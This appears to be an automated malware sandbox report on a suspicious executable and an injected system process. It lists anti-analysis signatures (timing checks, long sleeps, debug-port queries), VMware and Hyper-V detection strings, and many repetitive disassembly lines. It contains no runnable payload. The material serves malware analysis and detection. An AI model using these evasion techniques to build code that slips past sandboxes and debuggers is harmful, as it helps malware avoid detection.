Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Code function: 2_2_01A6096E rdtsc

2_2_01A6096E

Source: C:\Windows\SysWOW64\unlodctr.exe	Window / User API: threadDelayed 5003			Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Window / User API: threadDelayed 4970			Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\unlodctr.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\unlodctr.exe TID: 7380	Thread sleep count: 5003 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe TID: 7380	Thread sleep time: -10006000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe TID: 7380	Thread sleep count: 4970 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe TID: 7380	Thread sleep time: -9940000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\unlodctr.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\unlodctr.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\unlodctr.exe

Code function: 11_2_02F9B7C0 FindFirstFileW,FindNextFileW,FindClose,

11_2_02F9B7C0

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000334E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: firefox.exe, 0000000D.00000002.2358890865.000002B991F6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlluuB
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2873069283.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Code function: 2_2_01A6096E rdtsc

2_2_01A6096E

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Code function: 2_2_004172A3 LdrLoadDll,

2_2_004172A3

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A60185 mov eax, dword ptr fs:[00000030h]	2_2_01A60185
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADC188 mov eax, dword ptr fs:[00000030h]	2_2_01ADC188
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADC188 mov eax, dword ptr fs:[00000030h]	2_2_01ADC188
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC4180 mov eax, dword ptr fs:[00000030h]	2_2_01AC4180
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC4180 mov eax, dword ptr fs:[00000030h]	2_2_01AC4180
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA019F mov eax, dword ptr fs:[00000030h]	2_2_01AA019F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA019F mov eax, dword ptr fs:[00000030h]	2_2_01AA019F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA019F mov eax, dword ptr fs:[00000030h]	2_2_01AA019F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA019F mov eax, dword ptr fs:[00000030h]	2_2_01AA019F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1A197 mov eax, dword ptr fs:[00000030h]	2_2_01A1A197
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1A197 mov eax, dword ptr fs:[00000030h]	2_2_01A1A197
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1A197 mov eax, dword ptr fs:[00000030h]	2_2_01A1A197
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF61E5 mov eax, dword ptr fs:[00000030h]	2_2_01AF61E5
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A501F8 mov eax, dword ptr fs:[00000030h]	2_2_01A501F8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE61C3 mov eax, dword ptr fs:[00000030h]	2_2_01AE61C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE61C3 mov eax, dword ptr fs:[00000030h]	2_2_01AE61C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A9E1D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A9E1D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E1D0 mov ecx, dword ptr fs:[00000030h]	2_2_01A9E1D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A9E1D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E1D0 mov eax, dword ptr fs:[00000030h]	2_2_01A9E1D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A50124 mov eax, dword ptr fs:[00000030h]	2_2_01A50124
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov eax, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov ecx, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov eax, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov eax, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov ecx, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov eax, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov eax, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov ecx, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov eax, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE10E mov ecx, dword ptr fs:[00000030h]	2_2_01ACE10E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACA118 mov ecx, dword ptr fs:[00000030h]	2_2_01ACA118
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACA118 mov eax, dword ptr fs:[00000030h]	2_2_01ACA118
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACA118 mov eax, dword ptr fs:[00000030h]	2_2_01ACA118
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACA118 mov eax, dword ptr fs:[00000030h]	2_2_01ACA118
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE0115 mov eax, dword ptr fs:[00000030h]	2_2_01AE0115
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4164 mov eax, dword ptr fs:[00000030h]	2_2_01AF4164
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4164 mov eax, dword ptr fs:[00000030h]	2_2_01AF4164
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB4144 mov eax, dword ptr fs:[00000030h]	2_2_01AB4144
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB4144 mov eax, dword ptr fs:[00000030h]	2_2_01AB4144
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB4144 mov ecx, dword ptr fs:[00000030h]	2_2_01AB4144
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB4144 mov eax, dword ptr fs:[00000030h]	2_2_01AB4144
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB4144 mov eax, dword ptr fs:[00000030h]	2_2_01AB4144
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB8158 mov eax, dword ptr fs:[00000030h]	2_2_01AB8158
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26154 mov eax, dword ptr fs:[00000030h]	2_2_01A26154
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26154 mov eax, dword ptr fs:[00000030h]	2_2_01A26154
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1C156 mov eax, dword ptr fs:[00000030h]	2_2_01A1C156
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB80A8 mov eax, dword ptr fs:[00000030h]	2_2_01AB80A8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE60B8 mov eax, dword ptr fs:[00000030h]	2_2_01AE60B8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE60B8 mov ecx, dword ptr fs:[00000030h]	2_2_01AE60B8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2208A mov eax, dword ptr fs:[00000030h]	2_2_01A2208A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_01A1A0E3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA60E0 mov eax, dword ptr fs:[00000030h]	2_2_01AA60E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A280E9 mov eax, dword ptr fs:[00000030h]	2_2_01A280E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1C0F0 mov eax, dword ptr fs:[00000030h]	2_2_01A1C0F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A620F0 mov ecx, dword ptr fs:[00000030h]	2_2_01A620F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA20DE mov eax, dword ptr fs:[00000030h]	2_2_01AA20DE
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1A020 mov eax, dword ptr fs:[00000030h]	2_2_01A1A020
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1C020 mov eax, dword ptr fs:[00000030h]	2_2_01A1C020
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB6030 mov eax, dword ptr fs:[00000030h]	2_2_01AB6030
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA4000 mov ecx, dword ptr fs:[00000030h]	2_2_01AA4000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000 mov eax, dword ptr fs:[00000030h]	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E016 mov eax, dword ptr fs:[00000030h]	2_2_01A3E016
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E016 mov eax, dword ptr fs:[00000030h]	2_2_01A3E016
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E016 mov eax, dword ptr fs:[00000030h]	2_2_01A3E016
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E016 mov eax, dword ptr fs:[00000030h]	2_2_01A3E016
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4C073 mov eax, dword ptr fs:[00000030h]	2_2_01A4C073
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A22050 mov eax, dword ptr fs:[00000030h]	2_2_01A22050
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6050 mov eax, dword ptr fs:[00000030h]	2_2_01AA6050
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1E388 mov eax, dword ptr fs:[00000030h]	2_2_01A1E388
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1E388 mov eax, dword ptr fs:[00000030h]	2_2_01A1E388
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1E388 mov eax, dword ptr fs:[00000030h]	2_2_01A1E388
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4438F mov eax, dword ptr fs:[00000030h]	2_2_01A4438F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4438F mov eax, dword ptr fs:[00000030h]	2_2_01A4438F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A18397 mov eax, dword ptr fs:[00000030h]	2_2_01A18397
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A18397 mov eax, dword ptr fs:[00000030h]	2_2_01A18397
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A18397 mov eax, dword ptr fs:[00000030h]	2_2_01A18397
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A303E9 mov eax, dword ptr fs:[00000030h]	2_2_01A303E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E3F0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E3F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E3F0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E3F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E3F0 mov eax, dword ptr fs:[00000030h]	2_2_01A3E3F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A563FF mov eax, dword ptr fs:[00000030h]	2_2_01A563FF
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADC3CD mov eax, dword ptr fs:[00000030h]	2_2_01ADC3CD
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A3C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A3C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A3C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A3C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A3C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A3C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A3C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A3C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A3C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A3C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A3C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2A3C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A283C0 mov eax, dword ptr fs:[00000030h]	2_2_01A283C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A283C0 mov eax, dword ptr fs:[00000030h]	2_2_01A283C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A283C0 mov eax, dword ptr fs:[00000030h]	2_2_01A283C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A283C0 mov eax, dword ptr fs:[00000030h]	2_2_01A283C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA63C0 mov eax, dword ptr fs:[00000030h]	2_2_01AA63C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE3DB mov eax, dword ptr fs:[00000030h]	2_2_01ACE3DB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE3DB mov eax, dword ptr fs:[00000030h]	2_2_01ACE3DB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE3DB mov ecx, dword ptr fs:[00000030h]	2_2_01ACE3DB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACE3DB mov eax, dword ptr fs:[00000030h]	2_2_01ACE3DB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC43D4 mov eax, dword ptr fs:[00000030h]	2_2_01AC43D4
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC43D4 mov eax, dword ptr fs:[00000030h]	2_2_01AC43D4
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A30B mov eax, dword ptr fs:[00000030h]	2_2_01A5A30B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A30B mov eax, dword ptr fs:[00000030h]	2_2_01A5A30B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A30B mov eax, dword ptr fs:[00000030h]	2_2_01A5A30B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1C310 mov ecx, dword ptr fs:[00000030h]	2_2_01A1C310
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A40310 mov ecx, dword ptr fs:[00000030h]	2_2_01A40310
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC437C mov eax, dword ptr fs:[00000030h]	2_2_01AC437C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA2349 mov eax, dword ptr fs:[00000030h]	2_2_01AA2349
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA035C mov eax, dword ptr fs:[00000030h]	2_2_01AA035C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA035C mov eax, dword ptr fs:[00000030h]	2_2_01AA035C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA035C mov eax, dword ptr fs:[00000030h]	2_2_01AA035C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA035C mov ecx, dword ptr fs:[00000030h]	2_2_01AA035C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA035C mov eax, dword ptr fs:[00000030h]	2_2_01AA035C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA035C mov eax, dword ptr fs:[00000030h]	2_2_01AA035C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEA352 mov eax, dword ptr fs:[00000030h]	2_2_01AEA352
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC8350 mov ecx, dword ptr fs:[00000030h]	2_2_01AC8350
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A302A0 mov eax, dword ptr fs:[00000030h]	2_2_01A302A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A302A0 mov eax, dword ptr fs:[00000030h]	2_2_01A302A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB62A0 mov eax, dword ptr fs:[00000030h]	2_2_01AB62A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB62A0 mov ecx, dword ptr fs:[00000030h]	2_2_01AB62A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB62A0 mov eax, dword ptr fs:[00000030h]	2_2_01AB62A0
